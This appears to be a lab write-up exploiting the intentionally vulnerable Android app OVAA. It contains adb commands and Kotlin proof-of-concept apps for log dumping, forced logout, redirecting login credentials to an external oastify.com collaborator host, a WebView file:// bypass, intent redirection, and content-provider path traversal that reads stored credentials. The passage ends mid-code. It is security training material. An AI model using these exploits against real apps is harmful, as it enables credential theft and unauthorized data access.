Recon

$ frida-ps -Uai | grep ovaa
   -  Oversecured Vulnerable Android App  oversecured.ovaa

Exploiting Insecure Logger Service

Android Manifest Entries - InsecureLoggerService

    <uses-permission android:name="android.permission.INTERNET"/>
    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<service android:name="oversecured.ovaa.services.InsecureLoggerService">
            <intent-filter>
                <action android:name="oversecured.ovaa.action.DUMP"/>
            </intent-filter>
        </service>

Source Code - InsecureLoggerService

// oversecured.ovaa.services.InsecureLoggerService

package oversecured.ovaa.services;

import android.app.IntentService;
import android.content.Intent;
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.File;
import java.io.FileWriter;
import java.io.IOException;
import java.io.InputStreamReader;

/* loaded from: classes.dex */
public class InsecureLoggerService extends IntentService {
    private static final String ACTION_DUMP = "oversecured.ovaa.action.DUMP";
    private static final String EXTRA_FILE = "oversecured.ovaa.extra.file";

    public InsecureLoggerService() {
        super("InsecureLoggerService");
    }

    @Override // android.app.IntentService
    protected void onHandleIntent(Intent intent) {
        if (intent != null && ACTION_DUMP.equals(intent.getAction())) {
            dumpLogs(getDumpFile(intent));
        }
    }

    private File getDumpFile(Intent intent) {
        Object file = intent.getExtras().get(EXTRA_FILE);
        if (file instanceof String) {
            return new File((String) file);
        }
        if (file instanceof File) {
            return (File) file;
        }
        throw new IllegalArgumentException();
    }

    private void dumpLogs(File toFile) {
        try {
            Process logcatProcess = Runtime.getRuntime().exec("logcat -d");
            BufferedReader reader = new BufferedReader(new InputStreamReader(logcatProcess.getInputStream()));
            BufferedWriter writer = new BufferedWriter(new FileWriter(toFile));
            while (true) {
                String line = reader.readLine();
                if (line != null) {
                    writer.append((CharSequence) line).append('\n');
                } else {
                    writer.flush();
                    writer.close();
                    reader.close();
                    return;
                }
            }
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
}

Reviewing the source code and the AndroidManifest.xml, we understand the following.

  • The oversecured.ovaa.services.InsecureLoggerService has an intent filter which listens for actions of type oversecured.ovaa.action.DUMP.
  • If the action specified in Intent is of type oversecured.ovaa.action.DUMP, the service call the dumpLogs(getDumpFile(intent)) function.
  • getDumpFile(intent) in fact gets the extras passed in the Intent and if any value exist in extras for the key oversecured.ovaa.extra.file, the value is returned as a File object.
  • The dumpLogs(File toFile) accepts the File object and writes the output of command logcat -d to it.

In order to exploit this, we can start the oversecured.ovaa.services.InsecureLoggerService by passing the appropriate action and extra data as we saw above.

Exploit Using ADB

Running below command will write the output of logcat -d to the file /mnt/sdcard/Download/logdump.txt.

The application needs to be running for the service to be active.

$ adb shell am startservice -n oversecured.ovaa/oversecured.ovaa.services.InsecureLoggerService -a oversecured.ovaa.action.DUMP --es "oversecured.ovaa.extra.file" "/mnt/sdcard/Download/logdump.txt"
Starting service: Intent { act=oversecured.ovaa.action.DUMP cmp=oversecured.ovaa/.services.InsecureLoggerService (has extras) }

Checking the Download directory, we can see that the file logdump.txt is indeed created and contains the output of logcat -d.

genymotion:/mnt/sdcard/Download # ls -l
total 0
genymotion:/mnt/sdcard/Download # ls -l
total 24
-rw-rw---- 1 root sdcard_rw 17644 2023-02-21 01:11 logdump.txt
genymotion:/mnt/sdcard/Download # head logdump.txt
--------- beginning of main
02-21 00:18:31.966  2306  2306 I versecured.ova: Late-enabling -Xcheck:jni
02-21 00:18:31.998  2306  2306 E versecured.ova: Unknown bits set in runtime_flags: 0x8000
02-21 00:18:31.998  2306  2306 W versecured.ova: Unexpected CPU variant for X86 using defaults: x86
02-21 00:18:32.483  2306  2332 D libEGL  : Emulator has host GPU support, qemu.gles is set to 1.
02-21 00:18:32.478  2306  2306 I RenderThread: type=1400 audit(0.0:74): avc: denied { write } for name="property_service" dev="tmpfs" ino=10393 scontext=u:r:untrusted_app_27:s0:c103,c256,c512,c768 tcontext=u:object_r:property_socket:s0 tclass=sock_file permissive=1 app=oversecured.ovaa
02-21 00:18:32.482  2306  2306 I RenderThread: type=1400 audit(0.0:75): avc: denied { connectto } for path="/dev/socket/property_service" scontext=u:r:untrusted_app_27:s0:c103,c256,c512,c768 tcontext=u:r:init:s0 tclass=unix_stream_socket permissive=1 app=oversecured.ovaa
02-21 00:18:32.509  2306  2332 D libEGL  : loaded /vendor/lib/egl/libEGL_emulation.so
02-21 00:18:32.552  2306  2332 D libEGL  : loaded /vendor/lib/egl/libGLESv1_CM_emulation.so
02-21 00:18:32.571  2306  2332 D libEGL  : loaded /vendor/lib/egl/libGLESv2_emulation.so
genymotion:/mnt/sdcard/Download #

Exploit Using Malicious App

package com.example.oversecureovaapwn3r

import android.content.Intent
import androidx.appcompat.app.AppCompatActivity
import android.os.Bundle

class MainActivity : AppCompatActivity() {
    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        setContentView(R.layout.activity_main)

        insecureLoggerServiceExploit()
    }

    private fun insecureLoggerServiceExploit(){

        var loggerIntent = Intent()
        loggerIntent.setClassName("oversecured.ovaa", "oversecured.ovaa.services.InsecureLoggerService")
        loggerIntent.setAction("oversecured.ovaa.action.DUMP")
        loggerIntent.putExtra("oversecured.ovaa.extra.file", "/mnt/sdcard/Download/logdump-malicious-app.txt")

        startService(loggerIntent)
    }
}

Install the malicious app on the same device as the victim/vulnerable app. Launching the malicious app while the vulnerable app is running will dump the logcat -d output to /mnt/sdcard/Download/logdump-malicious-app.txt

genymotion:/mnt/sdcard/Download # ls -l
total 48
-rw-rw---- 1 root sdcard_rw 17771 2023-02-21 01:20 logdump-malicious-app.txt
-rw-rw---- 1 root sdcard_rw 17644 2023-02-21 01:11 logdump.txt
genymotion:/mnt/sdcard/Download # tail lo
logdump-malicious-app.txt     logdump.txt
genymotion:/mnt/sdcard/Download # tail logdump-malicious-app.txt
02-21 00:57:52.995  2956  2988 W         : Process pipe failed
02-21 00:57:53.008  2956  2988 W OpenGLRenderer: Failed to choose config with EGL_SWAP_BEHAVIOR_PRESERVED, retrying without...
02-21 00:57:53.019  2956  2988 D EGL_emulation: eglCreateContext: 0xe171a2a0: maj 3 min 1 rcv 4
02-21 00:57:53.039  2956  2988 E         : open_verbose:32: Could not open '/dev/goldfish_pipe': No such file or directory
02-21 00:57:53.042  2956  2988 D EGL_emulation: eglMakeCurrent: 0xe171a2a0: ver 3 1 (tinfo 0xe170f840) (first time)
02-21 00:57:53.111  2956  2988 W Gralloc3: mapper 3.x is not supported
02-21 00:57:53.112  2956  2988 D HostConnection: createUnique: call
02-21 00:57:53.112  2956  2988 D HostConnection: HostConnection::get() New Host Connection established 0xe171a4e0, pid 2956, tid 2988
02-21 00:57:53.114  2956  2988 D HostConnection: HostComposition ext ANDROID_EMU_host_composition_v1 ANDROID_EMU_host_composition_v2 ANDROID_EMU_async_unmap_buffer ANDROID_EMU_sync_buffer_data GL_OES_EGL_image_external_essl3 GL_OES_vertex_array_object GL_KHR_texture_compression_astc_ldr ANDROID_EMU_host_side_tracing ANDROID_EMU_async_frame_commands ANDROID_EMU_gles_max_version_3_1
02-21 01:20:13.743  2956  2974 W versecured.ova: Reducing the number of considered missed Gc histogram windows from 134 to 100
genymotion:/mnt/sdcard/Download #

AndroidManifest.xml - DeeplinkActivity

        <activity android:name="oversecured.ovaa.activities.DeeplinkActivity">
            <intent-filter>
                <action android:name="android.intent.action.VIEW"/>
                <category android:name="android.intent.category.DEFAULT"/>
                <category android:name="android.intent.category.BROWSABLE"/>
                <data android:scheme="oversecured" android:host="ovaa"/>
            </intent-filter>
        </activity>

Few things to note:

  • The DeeplinkActivity accepts the action android.intent.action.VIEW.
  • The URI scheme should be oversecured://
  • the host should be ovaa.

Source Code - DeeplinkActivity

package oversecured.ovaa.activities;

import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import androidx.appcompat.app.AppCompatActivity;
import oversecured.ovaa.utils.LoginUtils;

/* loaded from: classes.dex */
public class DeeplinkActivity extends AppCompatActivity {
    private static final int URI_GRANT_CODE = 1003;
    private LoginUtils loginUtils;

    /* JADX INFO: Access modifiers changed from: protected */
    @Override // androidx.appcompat.app.AppCompatActivity, androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
    public void onCreate(Bundle savedInstanceState) {
        Uri uri;
        super.onCreate(savedInstanceState);
        this.loginUtils = LoginUtils.getInstance(this);
        Intent intent = getIntent();
        if (intent != null && "android.intent.action.VIEW".equals(intent.getAction()) && (uri = intent.getData()) != null) {
            processDeeplink(uri);
        }
        finish();
    }

    private void processDeeplink(Uri uri) {
        String url;
        String host;
        if ("oversecured".equals(uri.getScheme()) && "ovaa".equals(uri.getHost())) {
            String path = uri.getPath();
            if ("/logout".equals(path)) {
                this.loginUtils.logout();
                startActivity(new Intent(this, EntranceActivity.class));
            } else if ("/login".equals(path)) {
                String url2 = uri.getQueryParameter("url");
                if (url2 != null) {
                    this.loginUtils.setLoginUrl(url2);
                }
                startActivity(new Intent(this, EntranceActivity.class));
            } else if ("/grant_uri_permissions".equals(path)) {
                Intent i = new Intent("oversecured.ovaa.action.GRANT_PERMISSIONS");
                if (getPackageManager().resolveActivity(i, 0) != null) {
                    startActivityForResult(i, 1003);
                }
            } else if ("/webview".equals(path) && (url = uri.getQueryParameter("url")) != null && (host = Uri.parse(url).getHost()) != null && host.endsWith("example.com")) {
                Intent i2 = new Intent(this, WebViewActivity.class);
                i2.putExtra("url", url);
                startActivity(i2);
            }
        }
    }

    /* JADX INFO: Access modifiers changed from: protected */
    @Override // androidx.fragment.app.FragmentActivity, android.app.Activity
    public void onActivityResult(int requestCode, int resultCode, Intent data) {
        super.onActivityResult(requestCode, resultCode, data);
        if (resultCode == -1 && requestCode == 1003) {
            setResult(resultCode, data);
        }
    }
}

When the DeeplinkActivity is activated, the onCreate function is invoked and performs the following actions.

  • Creates an instance of LoginUtils class.
  • Checks if the Intent which activated is null.
  • Checks if the actions specified in the Intent is android.intent.action.VIEW.
  • Checks if URI data is passed as Intent extras.

If all of the above checks are satisfied, the processDeeplink(uri) function is called with the URI from the Intent extras as the argument.

Analysing processDeeplink(uri) Function

    private void processDeeplink(Uri uri) {
        String url;
        String host;
        if ("oversecured".equals(uri.getScheme()) && "ovaa".equals(uri.getHost())) {
            String path = uri.getPath();
            if ("/logout".equals(path)) {
                this.loginUtils.logout();
                startActivity(new Intent(this, EntranceActivity.class));
            } else if ("/login".equals(path)) {
                String url2 = uri.getQueryParameter("url");
                if (url2 != null) {
                    this.loginUtils.setLoginUrl(url2);
                }
                startActivity(new Intent(this, EntranceActivity.class));
            } else if ("/grant_uri_permissions".equals(path)) {
                Intent i = new Intent("oversecured.ovaa.action.GRANT_PERMISSIONS");
                if (getPackageManager().resolveActivity(i, 0) != null) {
                    startActivityForResult(i, 1003);
                }
            } else if ("/webview".equals(path) && (url = uri.getQueryParameter("url")) != null && (host = Uri.parse(url).getHost()) != null && host.endsWith("example.com")) {
                Intent i2 = new Intent(this, WebViewActivity.class);
                i2.putExtra("url", url);
                startActivity(i2);
            }
        }
    }
  • The function accepts the URI as the only argument.
  • Checks if the URI scheme is oversecured and the URI host is ovaa.
  • The path is extracted from the URI and is procesessed accordingly.
  • Four valid URI paths are as follows.
    • /logout
    • /login
    • /grant_uri_permissions
    • /webview

Let us examine the four different path’s and vulnerabilities associated with them.

Examining /logout Path - Force User Logout

if ("/logout".equals(path)) {
                this.loginUtils.logout();
                startActivity(new Intent(this, EntranceActivity.class));
            }
  • If the path is /logout, the application just logs the user out and redirect to EntranceActivity.
  • This cannot be called as vulnerability itself. The impact is only that a malicious application can force the current logged in user to logout.
  • Moreover, there is no built in logout button in the app.

Using ADB to Force Log Out

adb shell am start -n oversecured.ovaa/oversecured.ovaa.activities.DeeplinkActivity -a android.intent.action.VIEW -d "oversecured://ovaa/logout"
Starting: Intent { act=android.intent.action.VIEW dat=oversecured://ovaa/logout cmp=oversecured.ovaa/.activities.DeeplinkActivity }

Logging into the application.

Any username and passsword are accepted.

e40cd2acbfcd1bc45d4c8667e0eab712.png

6265a25af683b0a91f5ee8b29aa4ed55.png

Once the adb command is executed, the application logs out redirects to login page.

1b83995414f6e9e3bca8fadf144cc2a4.png

44a01d8fa9e117c0ca1398a65f9f0ce2.png

Using a Malicious Application to Force Logout

package com.example.oversecureovaapwn3r

import android.content.Intent
import android.net.Uri
import androidx.appcompat.app.AppCompatActivity
import android.os.Bundle


class MainActivity : AppCompatActivity() {
    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        setContentView(R.layout.activity_main)

        deeplinkActivityForceLogOut()
    }

    private fun deeplinkActivityForceLogOut(){

        var logoutIntent = Intent()
        logoutIntent.setClassName("oversecured.ovaa", "oversecured.ovaa.activities.DeeplinkActivity")
        logoutIntent.setAction("android.intent.action.VIEW")
        logoutIntent.setData(Uri.parse("oversecured://ovaa/logout"))

        startActivity(logoutIntent)
    }

}

We are logged in to the application.

27b238c4ef78f07c905f2a23584ec892.png

Opening the malicious application will force the oversecured ovaa application to logout.

force-logout-ovaa.gif

Examining /login Path - Credential Theft/Exfiltration by Overwriting Login URL

else if ("/login".equals(path)) {
                String url2 = uri.getQueryParameter("url");
                if (url2 != null) {
                    this.loginUtils.setLoginUrl(url2);
                }
                startActivity(new Intent(this, EntranceActivity.class));
            }
  • If the URI path is /login, query parameter named url is extracted from the URI.
  • If the value of the extracted query parameter url is not null, then the function setLoginUrl() is called with the url as its argument.
  • After this is done, the EntranceActivity activity is started.

Let us look at the source code for setLoginUrl() function which is inside oversecured.ovaa.utils.LoginUtils class.

package oversecured.ovaa.utils;

import android.content.Context;
import android.content.SharedPreferences;
import android.text.TextUtils;
import oversecured.ovaa.R;
import oversecured.ovaa.objects.LoginData;

/* loaded from: classes.dex */
public class LoginUtils {
    private static final String EMAIL_KEY = "email";
    private static final String LOGIN_URL_KEY = "login_url";
    private static final String PASSWORD_KEY = "password";
    private static LoginUtils utils;
    private Context context;
    private SharedPreferences.Editor editor;
    private SharedPreferences preferences;

    private LoginUtils(Context context) {
        this.context = context;
        SharedPreferences sharedPreferences = context.getSharedPreferences("login_data", 0);
        this.preferences = sharedPreferences;
        this.editor = sharedPreferences.edit();
    }

    public static LoginUtils getInstance(Context context) {
        if (utils == null) {
            utils = new LoginUtils(context);
        }
        return utils;
    }

    public boolean isLoggedIn() {
        return !TextUtils.isEmpty(this.preferences.getString("email", null));
    }

    public void saveCredentials(LoginData loginData) {
        this.editor.putString("email", loginData.email).putString(PASSWORD_KEY, loginData.password).commit();
    }

    public LoginData getLoginData() {
        return new LoginData(this.preferences.getString("email", null), this.preferences.getString(PASSWORD_KEY, null));
    }

    public void setLoginUrl(String url) {
        this.editor.putString(LOGIN_URL_KEY, url).commit();
    }

    public String getLoginUrl() {
        String url = this.preferences.getString(LOGIN_URL_KEY, null);
        if (TextUtils.isEmpty(url)) {
            String url2 = this.context.getString(R.string.login_url);
            this.editor.putString(LOGIN_URL_KEY, url2).commit();
            return url2;
        }
        return url;
    }

    public void logout() {
        this.editor.clear().commit();
    }
}
  • The setLoginUrl() function saves the url passed as argument to the file login_data in the Shared Preferences under the key login_url.

Let us login to the application and have a look at the login_data file it creates by default.

9e6d018a509372054125a990b25022cf.png

genymotion:/data/data/oversecured.ovaa/shared_prefs # ls 
login_data.xml
genymotion:/data/data/oversecured.ovaa/shared_prefs # cat login_data.xml
<?xml version='1.0' encoding='utf-8' standalone='yes' ?>  
<map>
    <string name="login_url">http://example.com./</string>
    <string name="password">ElitePass@1337</string>       
    <string name="email">[email protected]</string>      
</map>
genymotion:/data/data/oversecured.ovaa/shared_prefs #

7e992c82eda5b87af92af36ee0bfacfb.png

By default, the login_url is http://example.com.

Let us exploit the flaw we just found and overwrite the login_url in the login_data.xml.

Using ADB to Overwrite Login URL

$ adb shell am start -n oversecured.ovaa/oversecured.ovaa.activities.DeeplinkActivity -a android.intent.action.VIEW -d "oversecured://ovaa/login?url=http://ub3rsick.yfhm0wt2na5cww3kkyt800i7aygp4fs4.oastify.com/creds"
Starting: Intent { act=android.intent.action.VIEW dat=oversecured://ovaa/login?url=http://ub3rsick.yfhm0wt2na5cww3kkyt800i7aygp4fs4.oastify.com/creds cmp=oversecured.ovaa/.activities.DeeplinkActivity }

93c1e19c95402dad50802c979f379bd6.png

Inspecting the login_data.xml file shows that we have successfully overwrote the login_url.

1d6a097ddc20e4d1a25549ecee6944fe.png

genymotion:/data/data/oversecured.ovaa/shared_prefs # ls -l
total 8
-rw-rw---- 1 u0_a109 u0_a109 280 2023-02-24 02:15 login_data.xml
genymotion:/data/data/oversecured.ovaa/shared_prefs # cat login_data.xml
<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
    <string name="login_url">http://ub3rsick.yfhm0wt2na5cww3kkyt800i7aygp4fs4.oastify.com/creds</string>
    <string name="password">ElitePass@1337</string>
    <string name="email">[email protected]</string>
</map>
genymotion:/data/data/oversecured.ovaa/shared_prefs #

How can this be used to exfiltrate login credentials?. To understand this, we should inspect the login functionality implemented in oversecured.ovaa.activities.LoginActivity.

Analysing LoginActivity

    private LoginUtils loginUtils;

    public void processLogin(String email, String password) {
        LoginData loginData = new LoginData(email, password);
        Log.d("ovaa", "Processing " + loginData);
        LoginService loginService = (LoginService) RetrofitInstance.getInstance().create(LoginService.class);
        loginService.login(this.loginUtils.getLoginUrl(), loginData).enqueue(new Callback<Void>() { // from class: oversecured.ovaa.activities.LoginActivity.2
            @Override // retrofit2.Callback
            public void onResponse(Call<Void> call, Response<Void> response) {
            }

            @Override // retrofit2.Callback
            public void onFailure(Call<Void> call, Throwable t) {
            }
        });
        this.loginUtils.saveCredentials(loginData);
        onLoginFinished();
    }

Only relevant parts of the code is taken from the source code of the LoginActivity class.

  • The processLogin function takes the username and password the call the login function inside LoginService class with this.loginUtils.getLoginUrl() and loginData as its arguments.
  • The this.loginUtils.getLoginUrl() gets the value of the login_url from the login_data.xml shared preference file and loginData consist of the email and password.
// oversecured.ovaa.objects.LoginData

public LoginData(String email, String password) {
        this.email = email;
        this.password = password;
    }
  • The loginService.login() function just posts the loginData to the login_url which we can control.
// oversecured.ovaa.network.LoginService
public interface LoginService {
    @POST
    Call<Void> login(@Url String str, @Body LoginData loginData);
}

Exfiltrating Login Credentials

We already overwrote the login_url to something we have control over. Next time the user logs in, the credentials will be posted to our webhook.

  1. Force logout the user by exploiting previous vulnerability.
  2. Overwrite the login_url with our web hook.
  3. Wait for user to login to obtain the credentials.
$ adb shell am start -n oversecured.ovaa/oversecured.ovaa.activities.DeeplinkActivity -a android.intent.action.VIEW -d "oversecured://ovaa/logout"

$ adb shell am start -n oversecured.ovaa/oversecured.ovaa.activities.DeeplinkActivity -a android.intent.action.VIEW -d "oversecured://ovaa/login?url=https://v3z6f5t4tjs4yx9vlzg82fz4wv2mqge5.oastify.com/ub3rsick"

b9837805df1622bfaf260e16afeee0d4.png

login_data.xml:

genymotion:/data/data/oversecured.ovaa/shared_prefs # cat login_data.xml
<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
    <string name="login_url">https://v3z6f5t4tjs4yx9vlzg82fz4wv2mqge5.oastify.com/ub3rsick</string>
</map>

b647010bbd362284e73e28b2e3e36c01.png

Simulate user login.

ad1f39a1785851ac14595e1028b7cffc.png

Once the user logs in, we get the credentials.

9cfd14b92658711d2100e70d558da4ae.png

Examining /webview Path - Accessing Arbitrary Files & Loading Arbitrary URLs in WebView

else if ("/webview".equals(path) && (url = uri.getQueryParameter("url")) != null && (host = Uri.parse(url).getHost()) != null && host.endsWith("example.com")) {
                Intent i2 = new Intent(this, WebViewActivity.class);
                i2.putExtra("url", url);
                startActivity(i2);
            }

If the path is /webview, the following actions are done.

  • The query parameter url is taken from the URI.
  • The hostname is extracted from query parameter url
  • If the hostname ends with example.com, then an Intent is created for the WebViewActivity with the url as extra.
  • Then the WebViewActivity is started.

Accessing Arbitrary Files in WebView

The only validation on the url which is passed as extra to the WebViewActivity is the hostname verification. This can be bypassed by using the file:// URI scheme.

  • adb shell am start -n oversecured.ovaa/oversecured.ovaa.activities.DeeplinkActivity -a android.intent.action.VIEW -d "oversecured://ovaa/webview?url=file://example.com/data/data/oversecured.ovaa/shared_prefs/login_data.xml"
$ adb shell am start -n oversecured.ovaa/oversecured.ovaa.activities.DeeplinkActivity -a android.intent.action.VIEW -d "oversecured://ovaa/webview?url=file://example.com/data/data/oversecured.ovaa/shared_prefs/login_data.xml"
Starting: Intent { act=android.intent.action.VIEW dat=oversecured://ovaa/webview?url=file://example.com/data/data/oversecured.ovaa/shared_prefs/login_data.xml cmp=oversecured.ovaa/.activities.DeeplinkActivity }

fcb1e893b3124be51ba20f3a17bcb7d5.png

f8821585dfb158f0903e08ef55aec1cf.png

Loading Arbitrary URLs in WebView

If we are to load arbitrary URLs in the WebView, the hostname of the url must end with the string example.com. So, what an attacker can do is register any domain which ends with the string example.com and specify this URL in the url extras when exploting the deep link. Some candidates for potential domains are as follows:

  • *.attacker-example.com
  • *.somestring_example.com

Below ADB command will load the URL https://www.attacker-example.com/ in the WebView.

  • adb shell am start -n oversecured.ovaa/oversecured.ovaa.activities.DeeplinkActivity -a android.intent.action.VIEW -d "oversecured://ovaa/webview?url=https://www.attacker-example.com/"
$ adb shell am start -n oversecured.ovaa/oversecured.ovaa.activities.DeeplinkActivity -a android.intent.action.VIEW -d "oversecured://ovaa/webview?url=https://www.attacker-example.com/"
Starting: Intent { act=android.intent.action.VIEW dat=oversecured://ovaa/webview?url=https://www.attacker-example.com/ cmp=oversecured.ovaa/.activities.DeeplinkActivity }

dafe4cb00a7502c33acba9218556545e.png

The URL is loaded in the WebView.

As the domain not registered, the application is not able to connect to it. However, we can see that the application attempts to load the URL bypassing the hostname verfication.

05249f01f794eeee8d79f461ff51e311.png

Abusing Intent Redirection in LoginActivity

AndroidManifest.xml:

        <activity android:name="oversecured.ovaa.activities.LoginActivity">
            <intent-filter>
                <action android:name="oversecured.ovaa.action.LOGIN"/>
                <category android:name="android.intent.category.DEFAULT"/>
            </intent-filter>
        </activity>

Source Code:

public class LoginActivity extends AppCompatActivity {
    public static final String INTENT_REDIRECT_KEY = "redirect_intent";
    private LoginUtils loginUtils;

    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_login);
        LoginUtils loginUtils = LoginUtils.getInstance(this);
        this.loginUtils = loginUtils;
        if (loginUtils.isLoggedIn()) {
            onLoginFinished();
        } else {
            // .... code trimmed ....
        }
    }
	
    // .... code trimmed ....

    private void onLoginFinished() {
        Intent redirectIntent = (Intent) getIntent().getParcelableExtra(INTENT_REDIRECT_KEY);
        if (redirectIntent != null) {
            startActivity(redirectIntent);
        } else {
            startActivity(new Intent(this, MainActivity.class));
        }
        finish();
    }
}
  • The onCreate function is called when an activity is started. In this case onCreate is called when LoginActivity is invoked.
  • Inside onCreate function, checks are done to see the user is already logged in by calling loginUtils.isLoggedIn().
  • If the user is logged in, the onLoginFinished() function is invoked.
  • The logic to determine the status of user login is implemented in oversecured.ovaa.utils.LoginUtils.
// oversecured.ovaa.utils.LoginUtils
public class LoginUtils {
    private static final String EMAIL_KEY = "email";
    private static final String LOGIN_URL_KEY = "login_url";
    private static final String PASSWORD_KEY = "password";
    private static LoginUtils utils;
    private Context context;
    private SharedPreferences.Editor editor;
    private SharedPreferences preferences;

    private LoginUtils(Context context) {
        this.context = context;
        SharedPreferences sharedPreferences = context.getSharedPreferences("login_data", 0);
        this.preferences = sharedPreferences;
        this.editor = sharedPreferences.edit();
    }
    
    // .... code trimmed ....
    
    public boolean isLoggedIn() {
        return !TextUtils.isEmpty(this.preferences.getString("email", null));
    }
}
  • If the value for key email is not empty in the shared preference file login_data.xml, then the application decides that the user is already logged in.

Coming back to the LoginActivity, the function checks if there is an Intent passed to LoginActivity for the key redirect_intent.

    private void onLoginFinished() {
        Intent redirectIntent = (Intent) getIntent().getParcelableExtra(INTENT_REDIRECT_KEY);
        if (redirectIntent != null) {
            startActivity(redirectIntent);
        } else {
            startActivity(new Intent(this, MainActivity.class));
        }
        finish();
    }
  • If the Intent passed via INTENT_REDIRECT_KEY which is redirect_intent is not empty, then the onLoginFinished() function attempts to start activity with respect to the Intent by calling startActivity(redirectIntent);.

This can be abused to get access to protected actvities by passing extra Intent to LoginActivity while the user is already logged in.

Getting Access to Protected WebViewActivity

The WebViewActivity is not exported.

        <activity android:name="oversecured.ovaa.activities.WebViewActivity" android:exported="false">
            <intent-filter>
                <action android:name="oversecured.ovaa.action.WEBVIEW"/>
                <category android:name="android.intent.category.DEFAULT"/>
            </intent-filter>
        </activity>

  • However, using a malicious application to exploit intent redirection, we can get access to WebViewActivity and load arbitrary URL in it.

Malicious Application Source Code:

package com.example.oversecureovaapwn3r

import android.content.Intent
import android.net.Uri
import androidx.appcompat.app.AppCompatActivity
import android.os.Bundle

class MainActivity : AppCompatActivity() {
    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        setContentView(R.layout.activity_main)

        loginActivityIntentRedirect()
    }

    private fun loginActivityIntentRedirect(){

        // create an intent for
        var protectedActivityIntent = Intent()
        protectedActivityIntent.setClassName("oversecured.ovaa", "oversecured.ovaa.activities.WebViewActivity")
        protectedActivityIntent.setAction("oversecured.ovaa.action.WEBVIEW")
        protectedActivityIntent.putExtra("url","https://flippingbitz.com/archives/")

        var loginActivityIntent = Intent()
        loginActivityIntent.setClassName("oversecured.ovaa", "oversecured.ovaa.activities.LoginActivity")
        loginActivityIntent.putExtra("redirect_intent", protectedActivityIntent)
        startActivity(loginActivityIntent)
    }
}

Once the malicious application is installed on the same device as the victim application (user has to be already logged in), opening malicious application will open up the ovaa with https://flippingbitz.com/archives/ loaded in the webview.

protected-activity-2.gif

Exploiting Unprotected Content Provider

AndroidManifest.xml:

<provider android:name="oversecured.ovaa.providers.TheftOverwriteProvider" android:exported="true" android:authorities="oversecured.ovaa.theftoverwrite"/>

The application registers the content provider oversecured.ovaa.theftoverwrite and is exported. This means that any application can interact and query the content provider.

  • Content provider URI - content://oversecured.ovaa.theftoverwrite/

Source Code:

// oversecured.ovaa.providers.TheftOverwriteProvider

public class TheftOverwriteProvider extends ContentProvider {
    // ... code trimmed ...

    @Override // android.content.ContentProvider
    public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {
        File file = new File(Environment.getExternalStorageDirectory(), uri.getLastPathSegment());
        return ParcelFileDescriptor.open(file, 805306368);
    }
}
  • When the content provider is queried, the last path segment of the provider URI is extracted using the function uri.getLastPathSegment().
  • The URI path segment is then used as file name inside SDCARD - /mnt/sdcard/.
    • File(Environment.getExternalStorageDirectory(), uri.getLastPathSegment())
  • The file content is then retrieved as response to the provider query.

To test this, let us create a file in the SDCARD as supersecret.txt with below content.

Some Sensitive Data in SD Card SSN, Credit Card Info, Nuclear Codes etc.

genymotion:/mnt/sdcard # ls -l supersecret.txt                                                                                    
-rw-rw---- 1 root sdcard_rw 73 2023-02-02 00:36 supersecret.txt
genymotion:/mnt/sdcard # cat supersecret.txt                                                                                      
Some Sensitive Data in SD Card SSN, Credit Card Info, Nuclear Codes etc.
genymotion:/mnt/sdcard #

9e8a07b898426161eb0cc9f521ba5a4c.png

Querying the exported content provider using ADB

$ adb shell content read --uri content://oversecured.ovaa.theftoverwrite/supersecret.txt 
Some Sensitive Data in SD Card SSN, Credit Card Info, Nuclear Codes etc.

bfecceeae98e0a23ffe25b4334194756.png

Reading Arbitrary Files via Path Traversal

The uri.getLastPathSegment() is vulnerable to path traversal vulnerability in case the path segment is provided as URL encoded.

https://support.google.com/faqs/answer/7496913?hl=en-GB

Implementations of openFile in exported ContentProviders can be vulnerable if they do not properly validate incoming Uri parameters. A malicious app can supply a crafted Uri (for example, one that contains ‘/../') to trick your app into returning a ParcelFileDescriptor for a file outside of the intended directory, thereby allowing the malicious app to access any file accessible to your app.

Caveats: Note that calling getLastPathSegment on the Uri parameter is not safe. A malicious app can supply an encoded Uri path like %2F..%2F..path%2Fto%2Fsecret.txt so the result of getLastPathSegment will be /../../path/to/secret.txt.

Same way we can exploit the content provider in question to read arbitrary files from the file system.

$ adb shell content read --uri "content://oversecured.ovaa.theftoverwrite/..%2F..%2F..%2F..%2Fdata%2Fdata%2Foversecured.ovaa%2Fshared_prefs%2Flogin_data.xml"
<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
    <string name="login_url">https://v3z6f5t4tjs4yx9vlzg82fz4wv2mqge5.oastify.com/ub3rsick</string>
    <string name="password">ElitePass@1337</string>
    <string name="email">[email protected]</string>
</map>

e4f9a693a932ee89cb692fc20e7b1699.png

Querying the exported content provider from malicious app

package com.example.oversecureovaapwn3r


import android.content.Intent
import android.net.Uri
import android.os.Bundle
import android.widget.Toast
import androidx.appcompat.app.AppCompatActivity
import java.io.BufferedReader
import java.io.InputStreamReader

class MainActivity : AppCompatActivity() {
    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        setContentView(R.layout.activity_main)

        theftOverwriteProviderExploit()
    }

    private fun readContentProvider(provider : Uri){

        // https://developer.android.com/reference/android/content/ContentResolver#openInputStream(android.net.Uri)
        
        var fileinputStream = contentResolver.openInputStream(provider)
        var streamReader = BufferedReader(InputStreamReader(fileinputStream))
        var fileContent = streamReader.readText()
        var msg = Toast.makeText(applicationContext, fileContent, Toast.LENGTH_LONG)

        msg.show()
    }

    private fun theftOverwriteProviderExploit(){

        var provider  = Uri.parse("content://oversecured.ovaa.theftoverwrite/supersecret.txt")
        readContentProvider(provider)

